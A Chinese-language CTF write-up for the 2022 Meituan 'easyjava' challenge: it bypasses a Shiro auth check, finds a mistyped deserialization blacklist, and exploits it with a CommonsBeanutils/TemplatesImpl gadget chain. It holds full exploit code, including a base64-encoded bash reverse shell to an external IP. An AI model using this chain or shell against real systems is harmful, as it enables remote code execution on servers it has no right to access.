目录
前言
简单分析
EXP
前言
nss靶场又寄了,这题环境应该是jdk8,它镜像给了jdk21,卡了我半天,最后还得是自己改Dockerfile,啊哈哈哈,这题端上来怎么都不做啊(
环境:GitHub - CTF-Archives/2022-mtgxs-web-easyjava: A web challenge in 2022 美团高校赛
简单分析
先是看application.properties,知道了应用程序的URL将以http://xxx:xxx/web
开头。
环境有Shiro依赖,版本为1.5.2
然后注意到ShiroConfig中进行了权限认证
anon:表示允许匿名访问,即不需要进行身份验证就可以访问对应的URL
authc:表示需要进行身份验证后才能访问,即用户必须登录后才能访问对应的URL
再来看相关路由
显然反序列化入口在/admin/hello处传入data
参数来触发,但有身份验证给到限制
如何绕过呢?
详见:Java安全之Shiro权限绕过
MyObjectInputStream是自定义的对象输入流类,写了一些关键类的黑名单
public class MyObjectInputStream extends ObjectInputStream {
private static ArrayList<String> blackList = new ArrayList<>();
static {
blackList.add("com.sun.org.apache.xalan.internal.xsltc.traxTemplatesImpl");
blackList.add("org.hibernate.tuple.component.PojoComponentTuplizer");
blackList.add("java.security.SignedObject");
blackList.add("com.sun.rowset.JdbcRowSetImpl");
}
public MyObjectInputStream(InputStream inputStream) throws Exception {
super(inputStream);
}
@Override // java.io.ObjectInputStream
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Iterator<String> it = blackList.iterator();
while (it.hasNext()) {
if (desc.getName().contains(it.next())) {
throw new ClassNotFoundException("Don't hacker!");
}
}
return super.resolveClass(desc);
}
}
笑死,TemplatesImpl没ban成,出题人的慈悲
🤔那不直接CB链子梭哈
PriorityQueue.readObject()->PriorityQueue.siftDownUsingComparator()->BeanComparator.compare()->TemplateImpl.getOutputProperties()->TemplateImpl.newTransformer()
EXP
Runtime.exec Payload Generater | AresX's Blog
Evil.java
package com.butler.springboot14shiro.exp;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
static {
try {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
EXP.java
package com.butler.springboot14shiro.exp;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class EXP {
public static void main(String[] args) throws Exception {
byte[] code=ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
byte[][] codes={code};
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_name","aaa");
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",codes);
BeanComparator beanComparator=new BeanComparator("outputProperties",new AttrCompare());
BeanComparator beanComparator1=new BeanComparator();
PriorityQueue priorityQueue=new PriorityQueue(beanComparator1);
priorityQueue.add("1");
priorityQueue.add("2");
setFieldValue(beanComparator,"property","outputProperties");
setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
setFieldValue(priorityQueue,"comparator",beanComparator);
byte[] result=serialize(priorityQueue);
System.out.println(Base64.getEncoder().encodeToString(result));
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}
生成的payload再url编码一下,避免一些+号等字符被认为是其他字符
成功反弹shell